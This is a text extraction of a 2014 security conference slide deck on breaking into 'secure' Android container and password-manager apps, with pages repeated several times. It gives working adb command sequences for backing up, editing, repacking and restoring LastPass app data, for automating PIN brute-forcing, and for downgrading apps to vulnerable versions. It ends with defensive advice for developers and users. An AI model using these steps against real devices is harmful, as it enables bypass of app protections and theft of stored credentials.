Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 152: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 153: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 154: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
